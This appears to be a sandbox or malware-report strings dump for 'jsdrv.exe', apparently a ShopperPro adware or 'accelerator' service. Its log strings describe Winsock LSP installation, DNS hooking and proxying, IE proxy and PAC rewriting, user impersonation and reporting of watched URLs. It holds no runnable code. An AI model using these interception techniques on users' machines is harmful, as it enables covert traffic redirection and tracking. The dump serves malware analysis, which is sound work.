z....;..-...U`.K...^.b......!M;.-|..).*'.%-q.jI.n.U.T...:2....m)..
<<< skipped >>>

The Application connects to the servers at the folowing location(s):

jsdrv.exe_2332:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh@u

j.hHc

j.hX"

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

